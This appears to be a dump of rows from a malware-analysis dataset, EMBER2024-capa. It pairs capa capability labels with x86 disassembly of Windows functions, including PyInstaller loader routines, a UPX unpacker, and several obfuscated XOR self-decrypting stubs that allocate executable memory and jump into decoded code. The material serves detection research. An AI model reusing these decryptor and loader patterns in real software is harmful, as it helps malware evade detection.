joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401420
Capabilities:
Read file on windows
Write file on windows

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x14]
push ebp
call fcn.00404f40
add esp, 4
cmp eax, 0xffffffff
jne 0x40143d
or eax, eax
pop ebp
add esp, 0xc
ret
push ebx
push esi
mov esi, dword [esp + 0x20]
lea eax, [ebp + 0x3070]
push edi
lea ebx, [esi + 0x12]
push ebx
push eax
mov dword [esp + 0x1c], ebx
call fcn.00405210
mov edi, eax
add esp, 8
mov dword [esp + 0x18], edi
test edi, edi
jne 0x401483
push ebx
push str.Failed_to_extract__s:_failed_to_open_target_file__n
push str.fopen
call fcn.00401c10
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
add esp, 0xc
ret
mov edx, dword [ebp]
test edx, edx
jne 0x4014ba
lea eax, [ebp + 0x70]
push 0x422210
push eax
call fcn.00402b00
mov edx, eax
add esp, 8
mov dword [ebp], edx
test edx, edx
jne 0x4014ba
push ebx
push str.Failed_to_extract__s:_failed_to_open_archive_file__n
call fcn.00401c30
add esp, 8
or edi, 0xffffffff
jmp 0x4015e0
mov ecx, dword [esi + 4]
xor eax, eax
add ecx, dword [ebp + 8]
push 0
adc eax, dword [ebp + 0xc]
push eax
push ecx
push edx
call fcn.0040b155
add esp, 0x10
test eax, eax
jns 0x4014f1
push ebx
push str.Failed_to_extract__s:_failed_to_seek_to_the_entrys_data__n
push str.fseek
call fcn.00401c10
add esp, 0xc
or edi, 0xffffffff
jmp 0x4015e0
cmp byte [esi + 0x10], 1
jne 0x40150b
push 0
push edi
push esi
push ebp
call fcn.00401040
add esp, 0x10
mov edi, eax
jmp 0x4015e0
push 0x2000
xor edi, edi
call fcn.0040e730
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
jne 0x40153d
push ebx
push str.Failed_to_extract__s:_failed_to_allocate_temporary_buffer__n
push str.malloc
call fcn.00401c10
add esp, 0xc
or edi, 0xffffffff
jmp 0x4015e0
mov esi, dword [esi + 0xc]
xor ebx, ebx
test esi, esi
je 0x4015d7
nop word [eax + eax]
test ebx, ebx
jb 0x401565
ja 0x40155e
cmp esi, 0x2000
jbe 0x401565
mov edi, 0x2000
jmp 0x401567
mov edi, esi
push dword [ebp]
push 1
push edi
push eax
call fcn.0040ad5e
add esp, 0x10
cmp eax, 1
jb 0x4015ba
push dword [esp + 0x18]
push 1
push edi
push dword [esp + 0x1c]
call fcn.0040b976
add esp, 0x10
cmp eax, 1
jb 0x4015aa
mov eax, dword [esp + 0x10]
sub esi, edi
sbb ebx, 0
test ebx, ebx
ja 0x40155e
jb 0x4015a6
test esi, esi
jne 0x401550
xor edi, edi
jmp 0x4015d3
push dword [esp + 0x14]
push str.Failed_to_extract__s:_failed_to_write_data_chunk__n
push str.fwrite
jmp 0x4015c8
push dword [esp + 0x14]
push str.Failed_to_extract__s:_failed_to_read_data_chunk__n
push str.fread
call fcn.00401c10
add esp, 0xc
or edi, 0xffffffff
mov eax, dword [esp + 0x10]
push eax
call fcn.0040e715
add esp, 4
mov eax, dword [ebp]
test eax, eax
je 0x4015f7
push eax
call fcn.0040aa9c
add esp, 4
mov dword [ebp], 0
push dword [esp + 0x18]
call fcn.0040aa9c
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
add esp, 0xc
ret
Function at 0x404ca0
Capabilities:
Create directory
Query environment variable

Disassembly:
mov eax, 0x4004
call fcn.00408b80
mov eax, dword [0x42f004]
xor eax, esp
mov dword [esp + 0x4000], eax
mov eax, dword [esp + 0x4008]
push edi
push 0
push eax
push 0
call fcn.00405e00
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x404cf8
push str.LOADER:_Failed_to_convert_runtime_tmpdir_to_a_wide_string._n
call fcn.00401c30
add esp, 4
xor eax, eax
pop edi
mov ecx, dword [esp + 0x4000]
xor ecx, esp
call fcn.00408b6a
add esp, 0x4004
ret
push esi
push 0x1000
lea eax, [esp + 0x200c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push edi
mov esi, eax
call fcn.0040e715
add esp, 4
test esi, esi
jne 0x404d42
push str.LOADER:_Failed_to_expand_environment_variables_in_the_runtime_tmpdir._n
call fcn.00401c30
add esp, 4
xor eax, eax
pop esi
pop edi
mov ecx, dword [esp + 0x4000]
xor ecx, esp
call fcn.00408b6a
add esp, 0x4004
ret
push 0x1000
lea eax, [esp + 0x200c]
push eax
push 0
call fcn.0040f70e
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x404d85
push str.LOADER:_Failed_to_obtain_the_absolute_path_of_the_runtime_tmpdir._n
call fcn.00401c30
add esp, 4
xor eax, eax
pop esi
pop edi
mov ecx, dword [esp + 0x4000]
xor ecx, esp
call fcn.00408b6a
add esp, 0x4004
ret
push ebx
push 0x2000
lea eax, [esp + 0x10]
push 0
push eax
call fcn.00409e60
push 0x5c
push esi
call fcn.0040a0f7
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edi, eax
add esp, 0x14
test edi, edi
je 0x404de3
nop
mov ecx, edi
lea eax, [esp + 0xc]
sub ecx, esi
sar ecx, 1
inc ecx
push ecx
push esi
push eax
call fcn.00410084
add esp, 0xc
lea eax, [esp + 0xc]
push 0
push eax
call ebx
lea eax, [edi + 2]
push 0x5c
push eax
call fcn.0040a0f7
mov edi, eax
add esp, 8
test edi, edi
jne 0x404db0
push 0
push esi
call ebx
mov ecx, dword [esp + 0x400c]
mov eax, esi
pop ebx
pop esi
pop edi
xor ecx, esp
call fcn.00408b6a
add esp, 0x4004
ret
Function at 0x404e10
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov eax, 0x1004
call fcn.00408b80
mov eax, dword [0x42f004]
xor eax, esp
mov dword [esp + 0x1000], eax
mov eax, dword [esp + 0x1008]
push ebx
push esi
mov esi, dword [esp + 0x1018]
push edi
mov edi, dword [esp + 0x1018]
push 0x422210
push eax
call fcn.00402b00
push esi
push edi
mov ebx, eax
call fcn.00405210
add esp, 0x10
xor edi, edi
mov esi, eax
test ebx, ebx
je 0x404f0f
push ebx
test esi, esi
je 0x404f14
call fcn.0040ab20
add esp, 4
test eax, eax
jne 0x404ee6
nop dword [eax + eax]
push ebx
push 0x1000
lea eax, [esp + 0x14]
push 1
push eax
call fcn.0040ad5e
add esp, 0x10
test eax, eax
jne 0x404ea9
push ebx
call fcn.0040ab4c
add esp, 4
test eax, eax
je 0x404ecb
push ebx
jmp 0x404edb
push esi
push eax
lea eax, [esp + 0x14]
push 1
push eax
call fcn.0040b976
add esp, 0x10
test eax, eax
je 0x404eda
push esi
call fcn.0040ab4c
add esp, 4
test eax, eax
jne 0x404eda
push ebx
call fcn.0040ab20
add esp, 4
test eax, eax
je 0x404e80
jmp 0x404ee6
push esi
call fcn.00411799
add esp, 4
or edi, 0xffffffff
push ebx
call fcn.0040aa9c
push esi
call fcn.0040aa9c
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1000]
xor ecx, esp
call fcn.00408b6a
add esp, 0x1004
ret
test esi, esi
je 0x404f1c
push esi
call fcn.0040aa9c
add esp, 4
mov ecx, dword [esp + 0x100c]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00408b6a
add esp, 0x1004
ret
Function at 0x404f90
Capabilities:
Get common file path
Set environment variable

Disassembly:
mov eax, 0x2028
call fcn.00408b80
mov eax, dword [0x42f004]
xor eax, esp
mov dword [esp + 0x2024], eax
mov eax, dword [esp + 0x202c]
push ebx
push ebp
mov ebp, dword [esp + 0x2038]
mov dword [esp + 8], eax
push esi
push edi
test ebp, ebp
je 0x40500f
push 0x42442c
call fcn.00405160
push ebp
mov ebx, eax
call fcn.00404ca0
mov edi, eax
add esp, 8
test edi, edi
je 0x4050cb
push edi
push 0x424430
call fcn.0041066f
push edi
mov esi, eax
call fcn.0040e715
add esp, 0xc
test esi, esi
je 0x405013
push str.LOADER:_Failed_to_set_the_TMP_environment_variable._n
call fcn.00401c30
add esp, 4
xor eax, eax
jmp 0x405145
mov ebx, dword [esp + 0x10]
lea eax, [esp + 0x34]
push eax
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
call sub.KERNEL32.dll_GetCurrentProcessId
push eax
push str._MEI_d
lea eax, [esp + 0x1c]
push 0x10
push eax
call fcn.00405910
add esp, 0x10
xor esi, esi
nop
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x38]
push eax
call fcn.0041177e
mov edi, eax
push edi
call fcn.00405b60
add esp, 0xc
test eax, eax
je 0x4050cf
push edi
call fcn.0040e715
inc esi
add esp, 4
cmp esi, 5
jl 0x405040
test ebp, ebp
je 0x4050cb
push 0
push 0x42442c
push 0
call fcn.00405e00
test ebx, ebx
je 0x4050b4
push 0
push ebx
push 0
mov edi, eax
call fcn.00405e00
mov esi, eax
push esi
push edi
call fcn.0041066f
push edi
call fcn.0040e715
push esi
call fcn.0040e715
push ebx
call fcn.0040e715
add esp, 0x2c
xor eax, eax
jmp 0x405145
add esp, 0xc
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
call fcn.0040e715
add esp, 4
xor eax, eax
jmp 0x405145
push 0x1000
push edi
push dword [esp + 0x18]
call fcn.00405ea0
push edi
call fcn.0040e715
add esp, 0x10
test ebp, ebp
je 0x405140
push 0
push 0x42442c
push 0
call fcn.00405e00
test ebx, ebx
je 0x405129
push 0
push ebx
push 0
mov edi, eax
call fcn.00405e00
mov esi, eax
push esi
push edi
call fcn.0041066f
push edi
call fcn.0040e715
push esi
call fcn.0040e715
push ebx
call fcn.0040e715
add esp, 0x2c
jmp 0x405140
add esp, 0xc
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
call fcn.0040e715
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x2034]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00408b6a
add esp, 0x2028
ret
Function at 0x405160
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x4004
call fcn.00408b80
mov eax, dword [0x42f004]
xor eax, esp
mov dword [esp + 0x4000], eax
mov eax, dword [esp + 0x4008]
push 0
push eax
push 0
call fcn.00405e00
add esp, 0xc
lea ecx, [esp]
push 0x2000
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x4051f0
push 0x2000
lea eax, [esp + 0x2004]
push eax
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
lea eax, [esp + 4]
push eax
push 0
call fcn.00405ea0
add esp, 0xc
test eax, eax
je 0x4051f0
cmp byte [eax], 0
je 0x4051f0
push eax
call fcn.00412b98
add esp, 4
mov ecx, dword [esp + 0x4000]
xor ecx, esp
call fcn.00408b6a
add esp, 0x4004
ret
mov ecx, dword [esp + 0x4000]
xor eax, eax
xor ecx, esp
call fcn.00408b6a
add esp, 0x4004
ret

Function at 0x4055c0
Capabilities:
Set environment variable

Disassembly:
push esi
push edi
push 0
push dword [esp + 0x10]
push 0
call fcn.00405e00
add esp, 0xc
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push edi
mov esi, eax
call fcn.0040e715
add esp, 4
mov eax, esi
pop edi
pop esi
ret

Function at 0x4055f0
Capabilities:
Accept command line arguments
Create process on windows
Create process suspended

Disassembly:
mov eax, 0x2068
call fcn.00408b80
mov eax, dword [0x42f004]
xor eax, esp
mov dword [esp + 0x2064], eax
mov eax, dword [esp + 0x206c]
push 0x1000
push eax
lea eax, [esp + 0x6c]
mov dword [esp + 8], 0
push eax
call fcn.00405e00
push 1
push 0x16
call fcn.00411203
push 1
push 2
call fcn.00411203
push 1
push 0xf
call fcn.00411203
push 1
push 0x15
call fcn.00411203
add esp, 0x2c
mov dword [esp + 4], 0xc
lea eax, [esp + 0x20]
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, 1
mov dword [esp + 0x24], 0
push 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x50], 0x101
mov word [esp + 0x54], ax
call fcn.0040e880
push eax
call fcn.00412bec
push eax
call fcn.00410d99
push 1
mov dword [esp + 0x68], eax
call fcn.0040e880
push eax
call fcn.00412bec
push eax
call fcn.00410d99
push 2
mov dword [esp + 0x78], eax
call fcn.0040e880
push eax
call fcn.00412bec
push eax
call fcn.00410d99
add esp, 0x24
mov dword [esp + 0x60], eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0
push 1
push 0
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405747
push 0xffffffffffffffff
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [esp]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [esp]
mov ecx, dword [esp + 0x2064]
xor ecx, esp
call fcn.00408b6a
add esp, 0x2068
ret
push str.Error_creating_child_process__n
push 0x424534
call fcn.00401c60
mov ecx, dword [esp + 0x206c]
add esp, 8
xor ecx, esp
or eax, 0xffffffff
call fcn.00408b6a
add esp, 0x2068
ret
Function at 0x405b60
Capabilities:
Create directory

Disassembly:
mov eax, 0x201c
call fcn.00408b80
mov eax, dword [0x42f004]
xor eax, esp
mov dword [esp + 0x2018], eax
push ebx
mov ebx, dword [esp + 0x2024]
lea eax, [esp + 8]
push esi
push eax
xor esi, esi
mov dword [esp + 0x10], 0xffffffff
push 8
mov dword [esp + 0x10], 0
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x405c0b
lea eax, [esp + 8]
push eax
push esi
push esi
push 1
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x405bd1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x405c0b
push dword [esp + 8]
push 1
call fcn.0040e70a
mov esi, eax
add esp, 8
test esi, esi
je 0x405c0b
lea eax, [esp + 8]
push eax
push dword [esp + 0xc]
push esi
push 1
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x405c0b
lea eax, [esp + 0x10]
push eax
push dword [esi]
call sub.ADVAPI32.dll_ConvertSidToStringSidW
push esi
call fcn.0040e715
mov eax, dword [esp + 0x10]
add esp, 4
cmp eax, 0xffffffff
je 0x405c24
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x10]
mov eax, str.S_1_3_4
test esi, esi
cmovne eax, esi
push eax
push str.D:_A__FA____s_
lea eax, [esp + 0x28]
push 0x1000
push eax
call fcn.00405a00
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], 0xc
push eax
push 1
lea eax, [esp + 0x2c]
mov dword [esp + 0x28], 0
push eax
call sub.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW
test eax, eax
je 0x405ca1
lea eax, [esp + 0x14]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x405ca1
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x2018]
xor ecx, esp
call fcn.00408b6a
add esp, 0x201c
ret
mov ecx, dword [esp + 0x2020]
or eax, 0xffffffff
pop esi
pop ebx
xor ecx, esp
call fcn.00408b6a
add esp, 0x201c
ret
Function at 0x414726
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041459c

Function at 0x418cc2
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00418815

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401070
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4d3030]
jne 0x40107a
repz ret
jmp fcn.00401b61

Function at 0x4086bb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040255c
and dword [ebp - 4], 0
cmp dword [0x4d57b4], 0
mov ebx, eax
jne 0x40876c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40881d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40881d
push eax
call fcn.004024ea
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4d57b4], eax
call esi
push eax
call fcn.004024ea
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4d57b8], eax
call esi
push eax
call fcn.004024ea
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4d57bc], eax
call esi
push eax
call fcn.004024ea
pop ecx
mov dword [0x4d57c4], eax
test eax, eax
je 0x40876c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004024ea
pop ecx
mov dword [0x4d57c0], eax
mov eax, dword [0x4d57c0]
cmp eax, ebx
je 0x4087c4
cmp dword [0x4d57c4], ebx
je 0x4087c4
push eax
call fcn.00402565
push dword [0x4d57c4]
mov esi, eax
call fcn.00402565
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4087c4
test edi, edi
je 0x4087c4
call esi
test eax, eax
je 0x4087bb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4087bb
test byte [ebp - 0xc], 1
jne 0x4087c4
or dword [ebp + 0x10], 0x200000
jmp 0x4087fd
mov eax, dword [0x4d57b8]
cmp eax, ebx
je 0x4087fd
push eax
call fcn.00402565
pop ecx
test eax, eax
je 0x4087fd
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4087fd
mov eax, dword [0x4d57bc]
cmp eax, ebx
je 0x4087fd
push eax
call fcn.00402565
pop ecx
test eax, eax
je 0x4087fd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4d57b4]
call fcn.00402565
pop ecx
test eax, eax
je 0x40881d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40881f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x401c66
pop dword [ebp - 0x14]
mov eax, 0x6b61a718
add eax, 0x94de754e
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x49b37d2a
add dword [ebp - 0x24], 0x49ec821
mov dword [ebp - 0x20], 0xd5991246
sub dword [ebp - 0x20], 0xa365c601
mov dword [ebp - 0x1c], 0x85ddc1e5
sub dword [ebp - 0x1c], 0x39917db7
mov dword [ebp - 0x18], 0x934e1d49
add dword [ebp - 0x18], 0x6cb1e2b7
lea eax, [ebp - 0x24]
push eax
mov eax, 0x2922bbbe
sub eax, 0x28e28b6a
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x35fc46de
sub dword [ebp - 0x24], 0xc189dd88
mov dword [ebp - 0x20], 0xecaf4806
add dword [ebp - 0x20], 0x54bd196f
mov dword [ebp - 0x1c], 0xafa0e02d
add dword [ebp - 0x1c], 0xb3ce8c3f
mov dword [ebp - 0x18], 0x19b4a680
add dword [ebp - 0x18], 0xe64b5980
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x39f9e
push 0
call eax
mov ecx, 0x55fb
xor edx, edx
add edx, eax
mov ebx, 0x407000
add ebx, dword [ebp - 0x14]
mov edi, 0x8a246e73
xor dword [ebp - 4], edi
mov esi, dword [ebx]
mov dword [ebp - 8], 0xddef2a1c
xor esi, edi
add dword [ebp - 0xc], 0x236b2f0b
mov dword [edx], esi
sub dword [ebp - 4], ecx
add edx, 0xbcab3677
add edx, 0x4354c98d
add ebx, 0x21f36fac
add ebx, 0xde0c9058
loop 0x401d73
add eax, 0x14abf
mov ebx, eax
add eax, 0x1b7a68d1
sub eax, 0x1b7a68cc
mov ecx, 0xdff224ef
add ecx, 0x204ddb11
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x4033f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x4033ff
pop dword [ebp - 0x24]
mov eax, 0x5d215041
add eax, 0xa31ee3be
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xff494920
sub dword [ebp - 0x34], 0xb0f703d5
mov dword [ebp - 0x30], 0xeaf23e79
add dword [ebp - 0x30], 0x47410dcc
mov dword [ebp - 0x2c], 0xd493020d
sub dword [ebp - 0x2c], 0x8846bddf
mov dword [ebp - 0x28], 0xe89c3e50
add dword [ebp - 0x28], 0x1763c1b0
lea eax, [ebp - 0x34]
push eax
mov eax, 0x1b9fc96f
sub eax, 0x1b5e88df
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x124287f4
add dword [ebp - 0x34], 0x622fe162
mov dword [ebp - 0x30], 0x941c95c0
add dword [ebp - 0x30], 0xad4fcbb5
mov dword [ebp - 0x2c], 0x38733977
sub dword [ebp - 0x2c], 0xd503cd0b
mov dword [ebp - 0x28], 0x3ed19673
add dword [ebp - 0x28], 0xc12e698d
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x20e956e3
sub eax, 0x20a816a7
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3bd45
push 0
call eax
mov ecx, 0x4c2c
xor edx, edx
add edx, eax
mov edi, 0x41c000
add edi, dword [ebp - 0x24]
mov esi, 0xf6d53fb
sub esi, 0xe1591db9
mov ebx, dword [edi]
mov dword [ebp - 0x18], 0xf091d94f
xor ebx, esi
xor dword [ebp - 0x1c], ecx
mov dword [edx], ebx
add edx, 0xbe4ee927
sub edx, 0xbe4ee923
add edi, 4
loop 0x403517
add eax, 0x12383
mov ebx, eax
add eax, 5
mov ecx, 0xec1078da
add ecx, 0x142f8726
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x4162b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0x4162ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4162d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4162c0
mov eax, 1
add ebx, ebx
jne 0x4162e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4162d8
jne 0x4162f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4162d8
xor ecx, ecx
sub eax, 3
jb 0x416308
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41637a
mov ebp, eax
add ebx, ebx
jne 0x416313
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x416320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x416344
inc ecx
add ebx, ebx
jne 0x416330
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x416325
jne 0x416341
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416325
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x416364
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x416355
jmp 0x4162c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x416364
add edi, ecx
jmp 0x4162c6
pop esi
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0x4163c3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x16000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1606c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x416381
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x16074]
or eax, eax
je 0x4163bd
mov dword [ebx], eax
add ebx, 4
jmp 0x41639e
call dword [esi + 0x16070]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4163f4
cmp al, 0xef
ja 0x4163e7
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4163c9
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4163d6
mov ebp, dword [esi + 0x16078]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x416428
sub esp, 0xffffff80
jmp 0x405dd2

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx